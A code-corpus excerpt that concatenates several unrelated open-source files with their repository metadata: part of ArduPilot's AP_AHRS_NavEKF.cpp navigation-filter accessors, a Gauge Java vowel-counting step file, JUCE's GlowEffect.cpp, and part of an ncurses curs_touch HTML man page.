case EKF_TYPE_SITL: {
const struct SITL::sitl_fdm &fdm = _sitl->state;
velocity = fdm.speedD;
return true;
}
#endif
}
}
// get latest height above ground level estimate in metres and a validity flag
bool AP_AHRS_NavEKF::get_hagl(float &height) const
{
switch (active_EKF_type()) {
case EKF_TYPE_NONE:
return false;
case EKF_TYPE2:
default:
return EKF2.getHAGL(height);
case EKF_TYPE3:
return EKF3.getHAGL(height);
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL: {
const struct SITL::sitl_fdm &fdm = _sitl->state;
height = fdm.altitude - get_home().alt*0.01f;
return true;
}
#endif
}
}
// return a relative ground position to the origin in meters
// North/East/Down order.
bool AP_AHRS_NavEKF::get_relative_position_NED_origin(Vector3f &vec) const
{
switch (active_EKF_type()) {
case EKF_TYPE_NONE:
return false;
case EKF_TYPE2:
default: {
Vector2f posNE;
float posD;
if (EKF2.getPosNE(-1,posNE) && EKF2.getPosD(-1,posD)) {
// position is valid
vec.x = posNE.x;
vec.y = posNE.y;
vec.z = posD;
return true;
}
return false;
}
case EKF_TYPE3: {
Vector2f posNE;
float posD;
if (EKF3.getPosNE(-1,posNE) && EKF3.getPosD(-1,posD)) {
// position is valid
vec.x = posNE.x;
vec.y = posNE.y;
vec.z = posD;
return true;
}
return false;
}
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL: {
Location loc;
get_position(loc);
const Vector2f diff2d = location_diff(get_home(), loc);
const struct SITL::sitl_fdm &fdm = _sitl->state;
vec = Vector3f(diff2d.x, diff2d.y,
-(fdm.altitude - get_home().alt*0.01f));
return true;
}
#endif
}
}
// return a relative ground position to the home in meters
// North/East/Down order.
bool AP_AHRS_NavEKF::get_relative_position_NED_home(Vector3f &vec) const
{
Location originLLH;
Vector3f originNED;
if (!get_relative_position_NED_origin(originNED) ||
!get_origin(originLLH)) {
return false;
}
const Vector3f offset = location_3d_diff_NED(originLLH, _home);
vec.x = originNED.x - offset.x;
vec.y = originNED.y - offset.y;
vec.z = originNED.z - offset.z;
return true;
}
// write a relative ground position estimate to the origin in meters, North/East order
// return true if estimate is valid
bool AP_AHRS_NavEKF::get_relative_position_NE_origin(Vector2f &posNE) const
{
switch (active_EKF_type()) {
case EKF_TYPE_NONE:
return false;
case EKF_TYPE2:
default: {
bool position_is_valid = EKF2.getPosNE(-1,posNE);
return position_is_valid;
}
case EKF_TYPE3: {
bool position_is_valid = EKF3.getPosNE(-1,posNE);
return position_is_valid;
}
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL: {
Location loc;
get_position(loc);
posNE = location_diff(get_home(), loc);
return true;
}
#endif
}
}
// return a relative ground position to the home in meters
// North/East order.
bool AP_AHRS_NavEKF::get_relative_position_NE_home(Vector2f &posNE) const
{
Location originLLH;
Vector2f originNE;
if (!get_relative_position_NE_origin(originNE) ||
!get_origin(originLLH)) {
return false;
}
const Vector2f offset = location_diff(originLLH, _home);
posNE.x = originNE.x - offset.x;
posNE.y = originNE.y - offset.y;
return true;
}
// write a relative ground position estimate to the origin in meters, North/East order
// write a relative ground position to the origin in meters, Down
// return true if the estimate is valid
bool AP_AHRS_NavEKF::get_relative_position_D_origin(float &posD) const
{
switch (active_EKF_type()) {
case EKF_TYPE_NONE:
return false;
case EKF_TYPE2:
default: {
bool position_is_valid = EKF2.getPosD(-1,posD);
return position_is_valid;
}
case EKF_TYPE3: {
bool position_is_valid = EKF3.getPosD(-1,posD);
return position_is_valid;
}
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL: {
const struct SITL::sitl_fdm &fdm = _sitl->state;
posD = -(fdm.altitude - get_home().alt*0.01f);
return true;
}
#endif
}
}
// write a relative ground position to home in meters, Down
// will use the barometer if the EKF isn't available
void AP_AHRS_NavEKF::get_relative_position_D_home(float &posD) const
{
Location originLLH;
float originD;
if (!get_relative_position_D_origin(originD) ||
!get_origin(originLLH)) {
posD = -_baro.get_altitude();
return;
}
posD = originD - ((originLLH.alt - _home.alt) * 0.01f);
return;
}
/*
canonicalise _ekf_type, forcing it to be 0, 2 or 3
type 1 has been deprecated
*/
uint8_t AP_AHRS_NavEKF::ekf_type(void) const
{
uint8_t type = _ekf_type;
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
if (type == EKF_TYPE_SITL) {
return type;
}
#endif
if ((always_use_EKF() && (type == 0)) || (type == 1) || (type > 3)) {
type = 2;
}
return type;
}
AP_AHRS_NavEKF::EKF_TYPE AP_AHRS_NavEKF::active_EKF_type(void) const
{
EKF_TYPE ret = EKF_TYPE_NONE;
switch (ekf_type()) {
case 0:
return EKF_TYPE_NONE;
case 2: {
// do we have an EKF2 yet?
if (!_ekf2_started) {
return EKF_TYPE_NONE;
}
if (always_use_EKF()) {
uint16_t ekf2_faults;
EKF2.getFilterFaults(-1,ekf2_faults);
if (ekf2_faults == 0) {
ret = EKF_TYPE2;
}
} else if (EKF2.healthy()) {
ret = EKF_TYPE2;
}
break;
}
case 3: {
// do we have an EKF3 yet?
if (!_ekf3_started) {
return EKF_TYPE_NONE;
}
if (always_use_EKF()) {
uint16_t ekf3_faults;
EKF3.getFilterFaults(-1,ekf3_faults);
if (ekf3_faults == 0) {
ret = EKF_TYPE3;
}
} else if (EKF3.healthy()) {
ret = EKF_TYPE3;
}
break;
}
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
ret = EKF_TYPE_SITL;
break;
#endif
}
/*
fixed wing and rover when in fly_forward mode will fall back to
DCM if the EKF doesn't have GPS. This is the safest option as
DCM is very robust. Note that we also check the filter status
when fly_forward is false and we are disarmed. This is to ensure
that the arming checks do wait for good GPS position on fixed
wing and rover
*/
if (ret != EKF_TYPE_NONE &&
(_vehicle_class == AHRS_VEHICLE_FIXED_WING ||
_vehicle_class == AHRS_VEHICLE_GROUND) &&
(_flags.fly_forward || !hal.util->get_soft_armed())) {
nav_filter_status filt_state;
if (ret == EKF_TYPE2) {
EKF2.getFilterStatus(-1,filt_state);
} else if (ret == EKF_TYPE3) {
EKF3.getFilterStatus(-1,filt_state);
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
} else if (ret == EKF_TYPE_SITL) {
get_filter_status(filt_state);
#endif
}
if (hal.util->get_soft_armed() && !filt_state.flags.using_gps && AP::gps().status() >= AP_GPS::GPS_OK_FIX_3D) {
// if the EKF is not fusing GPS and we have a 3D lock, then
// plane and rover would prefer to use the GPS position from
// DCM. This is a safety net while some issues with the EKF
// get sorted out
return EKF_TYPE_NONE;
}
if (hal.util->get_soft_armed() && filt_state.flags.const_pos_mode) {
return EKF_TYPE_NONE;
}
if (!filt_state.flags.attitude ||
!filt_state.flags.vert_vel ||
!filt_state.flags.vert_pos) {
return EKF_TYPE_NONE;
}
if (!filt_state.flags.horiz_vel ||
(!filt_state.flags.horiz_pos_abs && !filt_state.flags.horiz_pos_rel)) {
if ((!_compass || !_compass->use_for_yaw()) &&
AP::gps().status() >= AP_GPS::GPS_OK_FIX_3D &&
AP::gps().ground_speed() < 2) {
/*
special handling for non-compass mode when sitting
still. The EKF may not yet have aligned its yaw. We
accept EKF as healthy to allow arming. Once we reach
speed the EKF should get yaw alignment
*/
if (filt_state.flags.pred_horiz_pos_abs &&
filt_state.flags.pred_horiz_pos_rel) {
return ret;
}
}
return EKF_TYPE_NONE;
}
}
return ret;
}
/*
check if the AHRS subsystem is healthy
*/
bool AP_AHRS_NavEKF::healthy(void) const
{
// If EKF is started we switch away if it reports unhealthy. This could be due to bad
// sensor data. If EKF reversion is inhibited, we only switch across if the EKF encounters
// an internal processing error, but not for bad sensor data.
switch (ekf_type()) {
case 0:
return AP_AHRS_DCM::healthy();
case 2: {
bool ret = _ekf2_started && EKF2.healthy();
if (!ret) {
return false;
}
if ((_vehicle_class == AHRS_VEHICLE_FIXED_WING ||
_vehicle_class == AHRS_VEHICLE_GROUND) &&
active_EKF_type() != EKF_TYPE2) {
// on fixed wing we want to be using EKF to be considered
// healthy if EKF is enabled
return false;
}
return true;
}
case 3: {
bool ret = _ekf3_started && EKF3.healthy();
if (!ret) {
return false;
}
if ((_vehicle_class == AHRS_VEHICLE_FIXED_WING ||
_vehicle_class == AHRS_VEHICLE_GROUND) &&
active_EKF_type() != EKF_TYPE3) {
// on fixed wing we want to be using EKF to be considered
// healthy if EKF is enabled
return false;
}
return true;
}
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
return true;
#endif
}
return AP_AHRS_DCM::healthy();
}
void AP_AHRS_NavEKF::set_ekf_use(bool setting)
{
_ekf_type.set(setting?1:0);
}
// true if the AHRS has completed initialisation
bool AP_AHRS_NavEKF::initialised(void) const
{
switch (ekf_type()) {
case 0:
return true;
case 2:
default:
// initialisation complete 10sec after ekf has started
return (_ekf2_started && (AP_HAL::millis() - start_time_ms > AP_AHRS_NAVEKF_SETTLE_TIME_MS));
case 3:
// initialisation complete 10sec after ekf has started
return (_ekf3_started && (AP_HAL::millis() - start_time_ms > AP_AHRS_NAVEKF_SETTLE_TIME_MS));
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
return true;
#endif
}
};
// get_filter_status : returns filter status as a series of flags
bool AP_AHRS_NavEKF::get_filter_status(nav_filter_status &status) const
{
switch (ekf_type()) {
case EKF_TYPE_NONE:
return false;
case EKF_TYPE2:
default:
EKF2.getFilterStatus(-1,status);
return true;
case EKF_TYPE3:
EKF3.getFilterStatus(-1,status);
return true;
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
memset(&status, 0, sizeof(status));
status.flags.attitude = 1;
status.flags.horiz_vel = 1;
status.flags.vert_vel = 1;
status.flags.horiz_pos_rel = 1;
status.flags.horiz_pos_abs = 1;
status.flags.vert_pos = 1;
status.flags.pred_horiz_pos_rel = 1;
status.flags.pred_horiz_pos_abs = 1;
status.flags.using_gps = 1;
return true;
#endif
}
}
// write optical flow data to EKF
void AP_AHRS_NavEKF::writeOptFlowMeas(uint8_t &rawFlowQuality, Vector2f &rawFlowRates, Vector2f &rawGyroRates, uint32_t &msecFlowMeas, const Vector3f &posOffset)
{
EKF2.writeOptFlowMeas(rawFlowQuality, rawFlowRates, rawGyroRates, msecFlowMeas, posOffset);
EKF3.writeOptFlowMeas(rawFlowQuality, rawFlowRates, rawGyroRates, msecFlowMeas, posOffset);
}
// write body frame odometry measurements to the EKF
void AP_AHRS_NavEKF::writeBodyFrameOdom(float quality, const Vector3f &delPos, const Vector3f &delAng, float delTime, uint32_t timeStamp_ms, const Vector3f &posOffset)
{
EKF3.writeBodyFrameOdom(quality, delPos, delAng, delTime, timeStamp_ms, posOffset);
}
// inhibit GPS usage
uint8_t AP_AHRS_NavEKF::setInhibitGPS(void)
{
switch (ekf_type()) {
case 0:
case 2:
default:
return EKF2.setInhibitGPS();
case 3:
return EKF3.setInhibitGPS();
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
return false;
#endif
}
}
// get speed limit
void AP_AHRS_NavEKF::getEkfControlLimits(float &ekfGndSpdLimit, float &ekfNavVelGainScaler) const
{
switch (ekf_type()) {
case 0:
case 2:
EKF2.getEkfControlLimits(ekfGndSpdLimit,ekfNavVelGainScaler);
break;
case 3:
EKF3.getEkfControlLimits(ekfGndSpdLimit,ekfNavVelGainScaler);
break;
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
// same as EKF2 for no optical flow
ekfGndSpdLimit = 400.0f;
ekfNavVelGainScaler = 1.0f;
break;
#endif
}
}
// get compass offset estimates
// true if offsets are valid
bool AP_AHRS_NavEKF::getMagOffsets(uint8_t mag_idx, Vector3f &magOffsets) const
{
switch (ekf_type()) {
case 0:
case 2:
default:
return EKF2.getMagOffsets(mag_idx, magOffsets);
case 3:
return EKF3.getMagOffsets(mag_idx, magOffsets);
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
magOffsets.zero();
return true;
#endif
}
}
// Retrieves the NED delta velocity corrected
void AP_AHRS_NavEKF::getCorrectedDeltaVelocityNED(Vector3f& ret, float& dt) const
{
const EKF_TYPE type = active_EKF_type();
if (type == EKF_TYPE2 || type == EKF_TYPE3) {
int8_t imu_idx = 0;
Vector3f accel_bias;
if (type == EKF_TYPE2) {
accel_bias.zero();
imu_idx = EKF2.getPrimaryCoreIMUIndex();
EKF2.getAccelZBias(-1,accel_bias.z);
} else if (type == EKF_TYPE3) {
imu_idx = EKF3.getPrimaryCoreIMUIndex();
EKF3.getAccelBias(-1,accel_bias);
}
if (imu_idx == -1) {
// should never happen, call parent implementation in this scenario
AP_AHRS::getCorrectedDeltaVelocityNED(ret, dt);
return;
}
ret.zero();
_ins.get_delta_velocity((uint8_t)imu_idx, ret);
dt = _ins.get_delta_velocity_dt((uint8_t)imu_idx);
ret -= accel_bias*dt;
ret = _dcm_matrix * get_rotation_autopilot_body_to_vehicle_body() * ret;
ret.z += GRAVITY_MSS*dt;
} else {
AP_AHRS::getCorrectedDeltaVelocityNED(ret, dt);
}
}
// report any reason for why the backend is refusing to initialise
const char *AP_AHRS_NavEKF::prearm_failure_reason(void) const
{
switch (ekf_type()) {
case 0:
return nullptr;
case 2:
default:
return EKF2.prearm_failure_reason();
case 3:
return EKF3.prearm_failure_reason();
}
return nullptr;
}
// return the amount of yaw angle change due to the last yaw angle reset in radians
// returns the time of the last yaw angle reset or 0 if no reset has ever occurred
uint32_t AP_AHRS_NavEKF::getLastYawResetAngle(float &yawAng) const
{
switch (ekf_type()) {
case 2:
default:
return EKF2.getLastYawResetAngle(yawAng);
case 3:
return EKF3.getLastYawResetAngle(yawAng);
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
return 0;
#endif
}
return 0;
}
// return the amount of NE position change in metres due to the last reset
// returns the time of the last reset or 0 if no reset has ever occurred
uint32_t AP_AHRS_NavEKF::getLastPosNorthEastReset(Vector2f &pos) const
{
switch (ekf_type()) {
case 2:
default:
return EKF2.getLastPosNorthEastReset(pos);
case 3:
return EKF3.getLastPosNorthEastReset(pos);
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
return 0;
#endif
}
return 0;
}
// return the amount of NE velocity change in metres/sec due to the last reset
// returns the time of the last reset or 0 if no reset has ever occurred
uint32_t AP_AHRS_NavEKF::getLastVelNorthEastReset(Vector2f &vel) const
{
switch (ekf_type()) {
case 2:
default:
return EKF2.getLastVelNorthEastReset(vel);
case 3:
return EKF3.getLastVelNorthEastReset(vel);
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
return 0;
#endif
}
return 0;
}
// return the amount of vertical position change due to the last reset in meters
// returns the time of the last reset or 0 if no reset has ever occurred
uint32_t AP_AHRS_NavEKF::getLastPosDownReset(float &posDelta) const
{
switch (ekf_type()) {
case EKF_TYPE2:
return EKF2.getLastPosDownReset(posDelta);
case EKF_TYPE3:
return EKF3.getLastPosDownReset(posDelta);
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
return 0;
#endif
}
return 0;
}
// Resets the baro so that it reads zero at the current height
// Resets the EKF height to zero
// Adjusts the EKf origin height so that the EKF height + origin height is the same as before
// Returns true if the height datum reset has been performed
// If using a range finder for height no reset is performed and it returns false
bool AP_AHRS_NavEKF::resetHeightDatum(void)
{
switch (ekf_type()) {
case 2:
default: {
EKF3.resetHeightDatum();
return EKF2.resetHeightDatum();
}
case 3: {
EKF2.resetHeightDatum();
return EKF3.resetHeightDatum();
}
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
return false;
#endif
}
return false;
}
// send a EKF_STATUS_REPORT for current EKF
void AP_AHRS_NavEKF::send_ekf_status_report(mavlink_channel_t chan) const
{
switch (ekf_type()) {
case EKF_TYPE_NONE:
// send zero status report
mavlink_msg_ekf_status_report_send(chan, 0, 0, 0, 0, 0, 0);
break;
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
// send zero status report
mavlink_msg_ekf_status_report_send(chan, 0, 0, 0, 0, 0, 0);
break;
#endif
case EKF_TYPE2:
return EKF2.send_status_report(chan);
case EKF_TYPE3:
return EKF3.send_status_report(chan);
}
}
// passes a reference to the location of the inertial navigation origin
// in WGS-84 coordinates
// returns a boolean true when the inertial navigation origin has been set
bool AP_AHRS_NavEKF::get_origin(Location &ret) const
{
switch (ekf_type()) {
case EKF_TYPE_NONE:
return false;
case EKF_TYPE2:
default:
if (!EKF2.getOriginLLH(-1,ret)) {
return false;
}
return true;
case EKF_TYPE3:
if (!EKF3.getOriginLLH(-1,ret)) {
return false;
}
return true;
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
const struct SITL::sitl_fdm &fdm = _sitl->state;
ret = fdm.home;
return true;
#endif
}
}
// get_hgt_ctrl_limit - get maximum height to be observed by the control loops in metres and a validity flag
// this is used to limit height during optical flow navigation
// it will return false when no limiting is required
bool AP_AHRS_NavEKF::get_hgt_ctrl_limit(float& limit) const
{
switch (ekf_type()) {
case EKF_TYPE_NONE:
// We are not using an EKF so no limiting applies
return false;
case EKF_TYPE2:
default:
return EKF2.getHeightControlLimit(limit);
case EKF_TYPE3:
return EKF3.getHeightControlLimit(limit);
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
return false;
#endif
}
}
// get_location - updates the provided location with the latest calculated location
// returns true on success (i.e. the EKF knows it's latest position), false on failure
bool AP_AHRS_NavEKF::get_location(struct Location &loc) const
{
switch (ekf_type()) {
case EKF_TYPE_NONE:
// We are not using an EKF so no data
return false;
case EKF_TYPE2:
default:
return EKF2.getLLH(loc);
case EKF_TYPE3:
return EKF3.getLLH(loc);
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
return get_position(loc);
#endif
}
}
// get_variances - provides the innovations normalised using the innovation variance where a value of 0
// indicates prefect consistency between the measurement and the EKF solution and a value of of 1 is the maximum
// inconsistency that will be accpeted by the filter
// boolean false is returned if variances are not available
bool AP_AHRS_NavEKF::get_variances(float &velVar, float &posVar, float &hgtVar, Vector3f &magVar, float &tasVar, Vector2f &offset) const
{
switch (ekf_type()) {
case EKF_TYPE_NONE:
// We are not using an EKF so no data
return false;
case EKF_TYPE2:
default:
// use EKF to get variance
EKF2.getVariances(-1,velVar, posVar, hgtVar, magVar, tasVar, offset);
return true;
case EKF_TYPE3:
// use EKF to get variance
EKF3.getVariances(-1,velVar, posVar, hgtVar, magVar, tasVar, offset);
return true;
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
velVar = 0;
posVar = 0;
hgtVar = 0;
magVar.zero();
tasVar = 0;
offset.zero();
return true;
#endif
}
}
void AP_AHRS_NavEKF::setTakeoffExpected(bool val)
{
switch (ekf_type()) {
case EKF_TYPE2:
default:
EKF2.setTakeoffExpected(val);
break;
case EKF_TYPE3:
EKF3.setTakeoffExpected(val);
break;
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
break;
#endif
}
}
void AP_AHRS_NavEKF::setTouchdownExpected(bool val)
{
switch (ekf_type()) {
case EKF_TYPE2:
default:
EKF2.setTouchdownExpected(val);
break;
case EKF_TYPE3:
EKF3.setTouchdownExpected(val);
break;
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
break;
#endif
}
}
bool AP_AHRS_NavEKF::getGpsGlitchStatus() const
{
nav_filter_status ekf_status {};
if (!get_filter_status(ekf_status)) {
return false;
}
return ekf_status.flags.gps_glitching;
}
// is the EKF backend doing its own sensor logging?
bool AP_AHRS_NavEKF::have_ekf_logging(void) const
{
switch (ekf_type()) {
case 2:
return EKF2.have_ekf_logging();
case 3:
return EKF3.have_ekf_logging();
default:
break;
}
return false;
}
// get the index of the current primary IMU
uint8_t AP_AHRS_NavEKF::get_primary_IMU_index() const
{
int8_t imu = -1;
switch (ekf_type()) {
case 2:
// let EKF2 choose primary IMU
imu = EKF2.getPrimaryCoreIMUIndex();
break;
case 3:
// let EKF2 choose primary IMU
imu = EKF3.getPrimaryCoreIMUIndex();
break;
default:
break;
}
if (imu == -1) {
imu = _ins.get_primary_accel();
}
return imu;
}
// get earth-frame accel vector for primary IMU
const Vector3f &AP_AHRS_NavEKF::get_accel_ef() const
{
return get_accel_ef(get_primary_accel_index());
}
// get the index of the current primary accelerometer sensor
uint8_t AP_AHRS_NavEKF::get_primary_accel_index(void) const
{
if (ekf_type() != 0) {
return get_primary_IMU_index();
}
return _ins.get_primary_accel();
}
// get the index of the current primary gyro sensor
uint8_t AP_AHRS_NavEKF::get_primary_gyro_index(void) const
{
if (ekf_type() != 0) {
return get_primary_IMU_index();
}
return _ins.get_primary_gyro();
}
#endif // AP_AHRS_NAVEKF_AVAILABLE
|
dgrat/ardupilot
|
libraries/AP_AHRS/AP_AHRS_NavEKF.cpp
|
C++
|
gpl-3.0
| 45,476 |
import com.thoughtworks.gauge.Step;
import com.thoughtworks.gauge.Table;
import com.thoughtworks.gauge.TableRow;
import java.util.HashSet;
import static org.junit.Assert.assertEquals;
public class StepImplementation {
private HashSet<Character> vowels;
@Step("Vowels in English language are <vowelString>.")
public void setLanguageVowels(String vowelString) {
vowels = new HashSet<>();
for (char ch : vowelString.toCharArray()) {
vowels.add(ch);
}
}
@Step("The word <word> has <expectedCount> vowels.")
public void verifyVowelsCountInWord(String word, int expectedCount) {
int actualCount = countVowels(word);
assertEquals(expectedCount, actualCount);
}
@Step("Almost all words have vowels <wordsTable>")
public void verifyVowelsCountInMultipleWords(Table wordsTable) {
for (TableRow row : wordsTable.getTableRows()) {
String word = row.getCell("Word");
int expectedCount = Integer.parseInt(row.getCell("Vowel Count"));
int actualCount = countVowels(word);
assertEquals(expectedCount, actualCount);
}
}
private int countVowels(String word) {
int count = 0;
for (char ch : word.toCharArray()) {
if (vowels.contains(ch)) {
count++;
}
}
return count;
}
}
|
getgauge/gauge-maven-plugin
|
src/main/resources/archetype-resources/src/test/java/StepImplementation.java
|
Java
|
gpl-3.0
| 1,397 |
/*
==============================================================================
This file is part of the JUCE library.
Copyright (c) 2017 - ROLI Ltd.
JUCE is an open source library subject to commercial or open-source
licensing.
By using JUCE, you agree to the terms of both the JUCE 5 End-User License
Agreement and JUCE 5 Privacy Policy (both updated and effective as of the
27th April 2017).
End User License Agreement: www.juce.com/juce-5-licence
Privacy Policy: www.juce.com/juce-5-privacy-policy
Or: You may also use this code under the terms of the GPL v3 (see
www.gnu.org/licenses).
JUCE IS PROVIDED "AS IS" WITHOUT ANY WARRANTY, AND ALL WARRANTIES, WHETHER
EXPRESSED OR IMPLIED, INCLUDING MERCHANTABILITY AND FITNESS FOR PURPOSE, ARE
DISCLAIMED.
==============================================================================
*/
GlowEffect::GlowEffect()
: radius (2.0f),
colour (Colours::white)
{
}
GlowEffect::~GlowEffect()
{
}
void GlowEffect::setGlowProperties (const float newRadius,
Colour newColour)
{
radius = newRadius;
colour = newColour;
}
void GlowEffect::applyEffect (Image& image, Graphics& g, float scaleFactor, float alpha)
{
Image temp (image.getFormat(), image.getWidth(), image.getHeight(), true);
ImageConvolutionKernel blurKernel (roundToInt (radius * scaleFactor * 2.0f));
blurKernel.createGaussianBlur (radius);
blurKernel.rescaleAllValues (radius);
blurKernel.applyToImage (temp, image, image.getBounds());
g.setColour (colour.withMultipliedAlpha (alpha));
g.drawImageAt (temp, 0, 0, true);
g.setOpacity (alpha);
g.drawImageAt (image, 0, 0, false);
}
|
TheTechnobear/MEC
|
mec-vst/JuceLibraryCode/modules/juce_graphics/effects/juce_GlowEffect.cpp
|
C++
|
gpl-3.0
| 1,792 |
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN">
<!--
****************************************************************************
* Copyright (c) 1998-2006,2010 Free Software Foundation, Inc. *
* *
* Permission is hereby granted, free of charge, to any person obtaining a *
* copy of this software and associated documentation files (the *
* "Software"), to deal in the Software without restriction, including *
* without limitation the rights to use, copy, modify, merge, publish, *
* distribute, distribute with modifications, sublicense, and/or sell *
* copies of the Software, and to permit persons to whom the Software is *
* furnished to do so, subject to the following conditions: *
* *
* The above copyright notice and this permission notice shall be included *
* in all copies or substantial portions of the Software. *
* *
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS *
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF *
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. *
* IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, *
* DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR *
* OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR *
* THE USE OR OTHER DEALINGS IN THE SOFTWARE. *
* *
* Except as contained in this notice, the name(s) of the above copyright *
* holders shall not be used in advertising or otherwise to promote the *
* sale, use or other dealings in this Software without prior written *
* authorization. *
****************************************************************************
* @Id: curs_touch.3x,v 1.14 2010/12/04 18:38:55 tom Exp @
-->
<HTML>
<HEAD>
<TITLE>curs_touch 3x</TITLE>
<link rev=made href="mailto:[email protected]">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</HEAD>
<BODY>
<H1>curs_touch 3x</H1>
<HR>
<PRE>
<!-- Manpage converted by man2html 3.0.1 -->
<STRONG><A HREF="curs_touch.3x.html">curs_touch(3x)</A></STRONG> <STRONG><A HREF="curs_touch.3x.html">curs_touch(3x)</A></STRONG>
</PRE>
<H2>NAME</H2><PRE>
<STRONG>touchwin</STRONG>, <STRONG>touchline</STRONG>, <STRONG>untouchwin</STRONG>, <STRONG>wtouchln</STRONG>, <STRONG>is_linetouched</STRONG>,
<STRONG>is_wintouched</STRONG> - <STRONG>curses</STRONG> refresh control routines
</PRE>
<H2>SYNOPSIS</H2><PRE>
<STRONG>#include</STRONG> <STRONG><curses.h></STRONG>
<STRONG>int</STRONG> <STRONG>touchwin(WINDOW</STRONG> <STRONG>*win);</STRONG>
<STRONG>int</STRONG> <STRONG>touchline(WINDOW</STRONG> <STRONG>*win,</STRONG> <STRONG>int</STRONG> <STRONG>start,</STRONG> <STRONG>int</STRONG> <STRONG>count);</STRONG>
<STRONG>int</STRONG> <STRONG>untouchwin(WINDOW</STRONG> <STRONG>*win);</STRONG>
<STRONG>int</STRONG> <STRONG>wtouchln(WINDOW</STRONG> <STRONG>*win,</STRONG> <STRONG>int</STRONG> <STRONG>y,</STRONG> <STRONG>int</STRONG> <STRONG>n,</STRONG> <STRONG>int</STRONG> <STRONG>changed);</STRONG>
<STRONG>bool</STRONG> <STRONG>is_linetouched(WINDOW</STRONG> <STRONG>*win,</STRONG> <STRONG>int</STRONG> <STRONG>line);</STRONG>
<STRONG>bool</STRONG> <STRONG>is_wintouched(WINDOW</STRONG> <STRONG>*win);</STRONG>
</PRE>
<H2>DESCRIPTION</H2><PRE>
The <STRONG>touchwin</STRONG> and <STRONG>touchline</STRONG> routines throw away all opti-
mization information about which parts of the window have
been touched, by pretending that the entire window has
been drawn on. This is sometimes necessary when using
overlapping windows, since a change to one window affects
the other window, but the records of which lines have been
changed in the other window do not reflect the change.
The routine <STRONG>touchline</STRONG> only pretends that <EM>count</EM> lines have
been changed, beginning with line <EM>start</EM>.
The <STRONG>untouchwin</STRONG> routine marks all lines in the window as
unchanged since the last call to <STRONG>wrefresh</STRONG>.
The <STRONG>wtouchln</STRONG> routine makes <EM>n</EM> lines in the window, starting
at line <EM>y</EM>, look as if they have (<EM>changed</EM><STRONG>=1</STRONG>) or have not
(<EM>changed</EM><STRONG>=0</STRONG>) been changed since the last call to <STRONG>wrefresh</STRONG>.
The <STRONG>is_linetouched</STRONG> and <STRONG>is_wintouched</STRONG> routines return <STRONG>TRUE</STRONG>
if the specified line/window was modified since the last
call to <STRONG>wrefresh</STRONG>; otherwise they return <STRONG>FALSE</STRONG>. In addi-
tion, <STRONG>is_linetouched</STRONG> returns <STRONG>ERR</STRONG> if <EM>line</EM> is not valid for
the given window.
</PRE>
<H2>RETURN VALUE</H2><PRE>
All routines return the integer <STRONG>ERR</STRONG> upon failure and an
integer value other than <STRONG>ERR</STRONG> upon successful completion,
unless otherwise noted in the preceding routine descrip-
tions.
X/Open does not define any error conditions. In this im-
plementation
<STRONG>is_linetouched</STRONG>
returns an error if the window pointer is
null, or if the line number is outside the
window. Note that ERR is distinct from TRUE
and FALSE, which are the normal return values
of this function.
<STRONG>wtouchln</STRONG>
returns an error if the window pointer is
null, or if the line number is outside the
window.
</PRE>
<H2>PORTABILITY</H2><PRE>
The XSI Curses standard, Issue 4 describes these func-
tions.
Some historic curses implementations had, as an undocu-
mented feature, the ability to do the equivalent of
<STRONG>clearok(...,</STRONG> <STRONG>1)</STRONG> by saying <STRONG>touchwin(stdscr)</STRONG> or <STRONG>clear(std-</STRONG>
<STRONG>scr)</STRONG>. This will not work under ncurses.
</PRE>
<H2>NOTES</H2><PRE>
Note that all routines except <STRONG>wtouchln</STRONG> may be macros.
</PRE>
<H2>SEE ALSO</H2><PRE>
<STRONG><A HREF="ncurses.3x.html">curses(3x)</A></STRONG>, <STRONG><A HREF="curs_refresh.3x.html">curs_refresh(3x)</A></STRONG>, <STRONG><A HREF="curs_variables.3x.html">curs_variables(3x)</A></STRONG>.
<STRONG><A HREF="curs_touch.3x.html">curs_touch(3x)</A></STRONG>
</PRE>
<HR>
